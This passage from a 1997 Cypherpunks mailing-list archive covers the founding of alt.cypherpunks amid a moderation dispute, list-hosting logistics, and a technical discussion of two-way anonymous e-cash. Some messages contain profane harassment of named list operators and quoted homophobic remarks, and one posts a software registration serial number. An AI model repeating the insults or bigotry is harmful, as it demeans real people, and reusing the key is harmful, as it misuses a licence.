>particular version of the list(s)),
Articles are dated:
>
>* 2/7/97, 1:46 p.m. PST
>
>* 2/7/97, 1:59 p.m., PST
>
>* 2/7/97, 3:03 p.m., PST
>
>* 2/7/97, 9:46 p.m., PST 

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 12:55:18 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <JTX12D2w165w@bwalk.dm.com>
Message-ID: <199702122049.OAA07350@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> "Timothy C. May" <tcmay@got.net> writes:
> > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> > >If the people decide for creation of a new USENET newsgroup,
> > >we need to think very hard about actually moving it to a different
> > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> > >
> > >A comp.* or sci.* newsgroup, if created, has the following advantages
> > >over an alt.* newsgroup:
> > >
> > >1) There is usually less spam in sci.* or comp.*
> > >2) There are virtually no completely irrelevant flamewars
> > >3) The propagation will be a lot better
> > >4) More people will be able to read it because of the issue of providers
> > >   not carrying alt.*.
> > >
> > >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> > >alt.* newsgroup.
> > 
> > Sure, and this has come up in every past discussion of creating
> > "alt.cypherpunks."
> > 
> > But the creation of alt.cypherpunks is _easy_, and needs little permission
> > or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> > takes work, requires a vote, blah blah blah. And so it never gets off the
> > ground.
> > 
> > (Nor is it clear to me, and perhaps not to others, that it belongs in the
> > the various places Igor mentioned. Comp.org.cypherpunks probably is the
> > best fit, but then many would cite the "comp" part to try to insist that
> > only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> > discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> > sci, or comp, or soc, or even talk.)
> > 
> (I apologize to everyone whose e-mail has gone unanswered this week - I've
> had a bunch of other stuff to do, but I'll get to it eventually. Also, 
> I posted
> the Anshel+Goldfield zeta function paten number - do check it out.)
> 
> Random thoughts:
> 
> 1. A newsgroup like comp.privacy.cypherpunks will be carried on a lot of
> corprate news servers that don't carry alt.* (or even soc.*). Note that
> soc.org.cypherpunks is inappropriate since cp is *not* an organization. :-)
> Another possibility is sci.crypto.cypherpunks. (True, people whose corporate
> newsservers don't carry soc.* and talk.* can use dejanews - provided their
> firewall lets them.)

> 2. It takes more work to create a comp.* newsgroup than an alt newsgroup.
> It takes a vote. I'm willing to be one of the proponents and generally help
> with the process. (Both I and Igor have been co-proponents of major Usenet
> newsgroups - don't know about other people onthis list. :-)

Not only it takes a vote. What is more important is what a vote gives: 
a good discussion of the newsgroup and the formal RFD/RFD/CFV process
ensures that, on average, a good balance is found between various groups
of readers.

I am not concerned as to what the name of the group will be, it is
not important. What is important is that it should be in a more or
less flame-free zone.

It is too late to stop alt.cypherpunks, but if I had to make a
prediction again, I would predict that soon posters will BEG to help
them create comp.*.cypherpunks, because of spam and alt.flamage.

> 3. An unmoderated Usenet newsgroup would have even ore crap than this mailing
> list. I've been thinking of how to deal with crap, and with the obvious desire
> by some people to delegate their decision what to read and what not to read
> to other people. 

It is alt.* and soc.* that has most crap, sci and comp are way better.

> Most people don't have nocem-enabled newareaders yet... Which is where the
> network of cypherpunks majordomos Igor's been busy creating comes in very
> handy. 
> 

It is a very good idea to let NoCeM issuers and filterers work 
independently from list nodes.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 12:59:49 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: John Gilmore the fascist cocksucker
In-Reply-To: <855771108.522743.0@fatmans.demon.co.uk>
Message-ID: <199702122053.OAA07493@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Why you are doing this, Paul?

	- Igor.

paul@fatmans.demon.co.uk wrote:
> 
> Priority: normal
> X-mailer: Pegasus Mail for Windows (v2.31)
> 
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> John Gilmore is a fascist cocksucker
> Sandy Sandfort is a censorous motherfucker
> 
> 
>   Datacomms Technologies web authoring and data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: 5BBFAEB1
>      "Don`t forget to mount a scratch monkey"
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 13:03:45 -0800 (PST)
To: jmb@FRB.GOV (Jonathan M. Bresler)
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <199702122018.PAA17534@kryten.frb.gov>
Message-ID: <199702122057.OAA07589@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jonathan M. Bresler wrote:
> 	your expected mail volume is 100,000+ messages a day?
> 
> 	i run lists that do 200,000+ routinely.
> 	recent peak of 350,000 messages
> 
> 	does that meet your needs?

Yes. This is great. You can join a discussion of people who will
help hosting the cypherpunks list at cypherpunks-hosts@algebra.com.
Subscribe by asking majordomo@algebra.com

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 12 Feb 1997 15:04:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks created
Message-ID: <3.0.1.32.19970212150638.027c6b00@ricochet.net>
MIME-Version: 1.0
Content-Type: text/plain



According to DejaNews, Mike Duvos has also issued a newgroup for
alt.cypherpunks:

>Subject:      cmsg newgroup alt.cypherpunks
>From:         mpd@netcom.com (Mike Duvos)
>Date:         1997/02/11
>Message-Id:   <mpdE5GMA8.ABH@netcom.com>
>Sender:       mpd@netcom12.netcom.com
>Control:      newgroup alt.cypherpunks
>Organization: Netcom On-Line Services
>Newsgroups:   alt.cypherpunks
>
>
>
>alt.cypherpunks is an unmoderated newsgroup, needed as a replacement
>for the high volume Cypherpunks mailing list, which is being evicted
>from its longtime home at toad.com due to creative differences with
>the site owner, John Gilmore. 
>
>For your newsgroups file:
>
>alt.cypherpunks  Technological defenses for privacy
>
>Some background on Cypherpunks, snipped from the mailing list welcome
>message, follows...
>
>Cypherpunks assume privacy is a good thing and wish there were more of it. 
>Cypherpunks acknowledge that those who want privacy must create it for
>themselves and not expect governments, corporations, or other large,
>faceless organizations to grant them privacy out of beneficence. 
>Cypherpunks know that people have been creating their own privacy for
>centuries with whispers, envelopes, closed doors, and couriers. 
>Cypherpunks do not seek to prevent other people from speaking about their
>experiences or their opinions. 
>
>The most important means to the defense of privacy is encryption. To
>encrypt is to indicate the desire for privacy.  But to encrypt with weak
>cryptography is to indicate not too much desire for privacy. Cypherpunks
>hope that all people desiring privacy will learn how best to defend it. 
>
>Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish to
>learn about it, to teach it, to implement it, and to make more of it. 
>Cypherpunks know that cryptographic protocols make social structures. 
>Cypherpunks know how to attack a system and how to defend it.  Cypherpunks
>know just how hard it is to make good cryptosystems. 
>
>Cypherpunks love to practice.  They love to play with public key
>cryptography.  They love to play with anonymous and pseudonymous mail
>forwarding and delivery.  They love to play with DC-nets.  They love to
>play with secure communications of all kinds. 
>
>Cypherpunks write code.  They know that someone has to write code to
>defend privacy, and since it's their privacy, they're going to write it. 
>Cypherpunks publish their code so that their fellow cypherpunks may
>practice and play with it.  Cypherpunks realize that security is not built
>in a day and are patient with incremental progress. 
>
>Cypherpunks don't care if you don't like the software they write. 
>Cypherpunks know that software can't be destroyed.  Cypherpunks know that
>a widely dispersed system can't be shut down. 
>
>Cypherpunks will make the networks safe for privacy. 
>
>-- 
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     mpd@netcom.com     $    via Finger.                      $




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan M. Bresler" <jmb@FRB.GOV>
Date: Wed, 12 Feb 1997 12:21:14 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Need a good bi-directional mail-news gateway
In-Reply-To: <01IFBXLR8Z009AN99E@mbcl.rutgers.edu>
Message-ID: <199702122018.PAA17534@kryten.frb.gov>
MIME-Version: 1.0
Content-Type: text/plain



>	Hi. The cypherpunks list is going through some major rearrangements,
>and it appears that we need a bi-directional mail-news gateway for the new
>group alt.cypherpunks and for whatever list(s) come out of the clouds of dust.
>(The list(s) in question may be done in a distributed fashion across many
>different machines, to lessen volume (1000+ subscribers, 100+ messages a day),
>crash vulnerablity, and other problems.) Anybody have experience in running
>a _really_ high-volume mail-news gateway (or in running distributed lists)?
>Please cc: any replies to cypherpunks@toad.com
>	Thanks,
>	-Allen

	your expected mail volume is 100,000+ messages a day?

	i run lists that do 200,000+ routinely.
	recent peak of 350,000 messages

	does that meet your needs?

jmb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Wed, 12 Feb 1997 13:15:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John Gilmore the fascist cocksucker
In-Reply-To: <199702122053.OAA07493@manifold.algebra.com>
Message-ID: <199702122119.PAA08150@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



> Why you are doing this, Paul?

> 	- Igor.

Perhaps his account was hacked.  Someone posted the account password
in addition to all the John "Cocksucker" Gilmore messages. 

Unless, of course, Paul has suddenly decided to burn all his bridges. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@extensis.com
Date: Wed, 12 Feb 1997 15:23:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Extensis CyberViewer Registration
Message-ID: <199702122323.PAA20183@us1.us.world.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear Gringo,

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Your CyberViewer serial number is: JME-100-001-936-690721

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 15:17:40 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
In-Reply-To: <199702121825.LAA11266@infowest.com>
Message-ID: <v03007805af2801044089@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM +0000 2/12/97, Attila T. Hun wrote:
>    maybe relief is in sight; can we spell excedrin?
>
>on or about 970211:1433 educom@elanor.oit.unc.edu said:
>
>+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL
>
>+A U.S. district court in Ohio has granted CompuServe's request for a
>+preliminary injunction barring Cyber Promotions Inc. from sending
>+unsolicited e-mail to its subscribers while the commercial provider
...

Were I a customer of CompuServe, I'd ask on what basis CompuServe was
intercepting e-mail to me. In fact, a CompuServe account holder has made
just this point: "I'll decide what's junk mail and what's not."

Having the court system involved in deciding what mail is valid and what is
not valid is not my idea of a free society.

Having said this, the flaw remains that "junk mail" is "free" to the
sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
Digital postage is one approach.

I'm not holding my breath, but I sure don't want a "District Court" deciding.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 15:19:21 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: alt.cypherpunks created
In-Reply-To: <3.0.1.32.19970212150638.027c6b00@ricochet.net>
Message-ID: <v03007806af28021f830a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:06 PM -0800 2/12/97, Greg Broiles wrote:
>According to DejaNews, Mike Duvos has also issued a newgroup for
>alt.cypherpunks:

I've already posted two articles to it. I expect it to be the main place I
post my words, as it eliminates any possibility that some site admin will
"moderate" my essays.

(And few of my articles in the last several days have made it to the Main
list. They were not flames, but apparently failed Sandy's test of
relevance.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac speidel <speidel@lightspeed.net>
Date: Wed, 12 Feb 1997 15:46:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: security
Message-ID: <3.0.16.19970212160457.1ff7917e@lightspeed.net>
MIME-Version: 1.0
Content-Type: text/plain

does any 1 here a hacker???
Title: Skinhead Oi Oi





























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:06:15 -0800 (PST)
To: Lee Tien <cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <v03010d01af23f7d7467d@[163.176.132.90]>
Message-ID: <v03007807af28042bfe3b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:19 PM -0800 2/12/97, Lee Tien wrote:
>The NSA's research report on e-cash says:
>
>	"The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>	"It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg at the Saturday meeting at
Stanford, where Ian talked for more than an hour on just this issue.

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost.

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

Ian Goldberg has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank.

By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

(It is much easier to understand digital cash with the usual diagram
showing the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the
flow of information, who knows what, etc. Drawing such diagrams in e-mail
is beyond my patience.)

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further, to where the usual distinctions
between CUSTOMER and MERCHANT vanish (as it sort of does in the real world,
where the two parties are merely exchanging one item for another item), and
where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 12 Feb 1997 15:59:08 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702122350.PAA14364@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks, talk.politics.crypto,sci.crypt)



At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):
>The NSA's research report on e-cash says:
>
>  "The ideal situation (from the point of view of privacy advocates)
>is that neither payer nor payee should know the identity of the other. This
>makes remote transactions using electronic cash totally anonymous:  no one
>knows where Alice spends her money and who pays her.
>
>  "It turns out that this is too much to ask: there is no way in such
>a scenario for the consumer to obtain a signed receipt.  Thus we are forced
>to settle for payer anonymity."
>
>Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't
>illuminate.  The discussion of digital cash seemed to assume no payee
>anonymity.  But the immediate previous section of dining cryptographers
>involved (it seemed) recipient untraceability.
>
>Is payee anonymity technically possible?  Under what conditions?
>
>If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt?

You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
just this issue. (He also talked for an hour on his crack of the RSA
challenge using 250 workstations...this was also a good talk.)

It was explicitly stated in Chaum's 1985 paper that methods existed to
ensure full untraceability. Chaum has in recent years emphasized a more
"surveillance friendly" system in which some of the anonymity is lost. 

It was the intuition of some of us that "coin changers" could solve this
problem, e.g, by having intermediaries to "mix" the coins and thus break
the traceability chain. Lucky Green wrote some articles along these lines,
and maybe Hal Finney, too. This was a couple of years ago. The notion is
similar to what Ian showed, but our arguments were not formal and robust.

In August of '95, Doug Barnes released a long article on "Identity
Agnostic" systems. (His article is no longer at the www.communities.com Web
site, so I can't refer you to it. Maybe he'll post it again.)

About a year ago Ian Goldberg considered this issue and came up with a
solution which has seemingly reproduced what Chaum was thinking about (but,
apparently, did not make completely clear in his papers, for whatever
reasons). Ian deals with the issue of "making change" and comes up with a
system in which intermediaries, which we may call "e-cashiers" and
"moneychangers," can take on the role of the mint/bank. 

By making "negative deposits" (submitting signed withdrawal slips,
effectively), these intermediaries function as moneychangers. And so the
one-way anonymous features become two-way (effectively, each of the
transactions contributes a "one-way anonymous" component: one-way + one-way
= two-way).

It is much easier to understand digital cash with the usual diagram showing
the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of
information, who knows what, etc. Drawing such diagrams in e-mail is beyond
my patience.

This system used online clearing, of course.

This "disintermediates" the process, and makes for an "everyone a mint"
situation, which has some of the same nice properties that an "everyone a
remailer" ecology of remailers and users has.

And the principle can be extended further back, to where the usual
distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in
the real world, where the two parties are merely exchanging one item for
another item), and where the role of the MINT is minimal.

In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
some cases, not in other cases). This means that "anyone a mint" does not
violate any of the Chaum/Digicash patents, and "mint clients" are likely to
be written by third parties. (The _customer_ is presumably on the honor
system to abide by the Chaum patents...except the patents are only being
licensed to banks...go figure.)

(This is where, as I recall, Doug's "agnostic" system came in...it is
possible his thinking was similar to Ian's...I don't have Doug's paper
handy.)

Ian demonstrated this on an actual system, with real live connections to
mints in various countries, but with the blinding not used (as I recall).
Draw your own conclusions about what this means.

It was heady stuff, seeing the result many of us believed to be implicit in
Chaum's 1985 paper made real. Everyone a mint. This makes the spread of
fully anonymous digital cash harder to stop.

Issues of the mint denying one has an account are always real ones, but not
important--I think--in the real world. The untraceability of the digital
coins means that a mint never knows who is testing it for reliability and
"honesty," and the mint cannot set out to "screw" a particular customer by
declaring his account not to exist (as the mint almost certainly does not
have to know who own which accounts, as deposits can be made anonymously).

I hope this helps. I plan to use this result centrally in my talk at the
panel discussion on "Governmental and Social Implications of Digital Cash"
at the upcoming CFP.

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca
Date: Wed, 12 Feb 1997 16:24:44 -0800 (PST)
To: Lee Tien <tien@well.com>
Subject: Re: anonymity and e-cash
In-Reply-To: <v03010d01af23f7d7467d@[163.176.132.90]>
Message-ID: <m2zpx9lfrz.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain


Lee Tien <tien@well.com> writes:

> [...] 
> Is payee anonymity technically possible?  Under what conditions?
> [...]

It's not too hard: The payee forwards a blinded, non-signed coin
to the payer. The payer has the bank sign this, and then returns
it to the payee who strips out the blinding factor. I think
this is discussed in Schneier.

Leonard




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 16:14:22 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702120555.VAA07276@toad.com>
Message-ID: <v03007808af280e876d46@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:49 PM -0600 2/12/97, Firebeard wrote:
>>>>>> Timothy C May writes:
>
>TCM> Since posting my comments I've just seen the proposal that tivoli
>TCM> may host a list.
>
>	Whoa, Nellie!  Who made that proposal?  It certainly wasn't
>me!  I said that I was taking steps to set up a majordomo to host a
>cypherpunks list.  Topmost on those steps is creation of the sten.net
>or sten.org domain, and getting a personal,
>paid-for-out-of-my-own-pocket, ISDN connection.  The majordomo will
>run off of my personal computer sitting in my apartment, not on Tivoli
>hardware sitting in the support lab.  As I said, John forced my hand
>in his announcement, causing me to 'put up' before everything was in
>place, including the domain registration.  Yes, my mail comes from
>sten.tivoli.com.  That doesn't mean that everything I do in life is
>connected to Tivoli, IBM, etc.

Sorry, I was just going by what I saw in your e-mail address. My point was
not really about Tivoli, or IBM, or any other particular company, though.

I was making the point that _any_ site distributing a list is likely to
face legal pressures not to carry certain items. Read between the lines (or
read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
the products of Sandy's company, and legal pressures applied, to see what I
mean.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:34:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: alt.cypherpunks is born.
Message-ID: <855766181.518359.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Hi all,

I crossposted the first post to the usenet group to here but just to 
make sure you all get the message I have created alt.cypherpunks.

Even if it is only a temporary measure it will be a forum from which 
we can establish something better. 

Fuck you John, we should have done this a long time ago.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Wed, 12 Feb 1997 08:51:58 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970212072753.3144A-100000@dhp.com>
Message-ID: <19970212165137.12190.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> have anything to do with it?

Doubtful.  Given the fact that gay people suffer a great deal of
discrimination, they generally tend to be fairly open-minded.  I see
no reason to believe Gilmore is in fact gay, but if he is it in no way
affects my opinion of him.

> Maybe they just wanted you to leave, Gilmore.  After all, your EFF has
> ruined the reputation of the InterNet, and your homosexuality is a bad
> sign.  Homos should not be allowed to have any authority positions
> anyplace on the net.

Your bigotry seriously undermines the effectiveness of any
anti-censorship arguments you make.  Are you just trying to get
everyone to hate those who oppose censorship on cypherpunks.  Which
side are you on anyway?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 14:45:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702122251.QAA02182@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 14:33:03 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Network of majordomos (fwd)

> Yes, I installed INN and ran a few hundred test messages through it last
> night. My machine will be on the net full-time Thursday or Friday. Will yours
> be ready then, too? 

The mailing list was ready yesterday. Currently I have about a dozen
subscribers who are testing it. Igor has his list up and I expect that we
will begin the cross-subscription process on Saturday or Sunday. I sent
a 'who is here' message to cypherpunks-hosts@algebra.com and have not
received any replies.

> If you need some help setting it up, let me know. It can be a little tricky
> if you haven't done it before. 

Thanks, I'll factor that into my equation. I, however won't be acting as
a mail-to-news gateway at this point. What I would like to see would be
a news site which sent a copy of each incoming message to a mailing list
and would have an email address where each new submission to the mailing
list would get sent to. To make it really interesting would be to use
two seperate remailers, one for each traffic path. Had you thought of
taking your news that far?


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 17:23:45 -0800 (PST)
To: tien@well.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130059.QAA04891@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: tcmay@got.net (Tim May)
> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
> just this issue. (He also talked for an hour on his crack of the RSA
> challenge using 250 workstations...this was also a good talk.)

I wish I could have heard that, it sounds good...

A simple idea we have discussed for full anonymity uses the idea of
exchanging coins at the bank.  You make an anonymous connection to
the bank, supply some ecash you have received along with some blinded
new ecash.  The bank verifies that the ecash is good and signs your
blinded ecash, sending it back to you.  You unblind it and have good,
fresh smelling ecash which you can keep, spend, or later deposit in
your account.

If the merchant performs this exchange operation on-line as soon as
he receives ecash, then his anonynmity is protected.  The customer is
protected too, by the blinding he used when he withdrew the ecash earlier.
So both sides remain anonymous.

It sounds like Ian may have worked out details of a system where third
parties do these exchanges.  Banks may be reluctant to allow them for
liability reasons, and the market, abhoring the vacuum, will supply
intermediaries who perform exchanges for a fee.

Resolving the various forms of cheating is the hard part.  When Lee asks
about a signed receipt, it is hard to understand what is the point if the
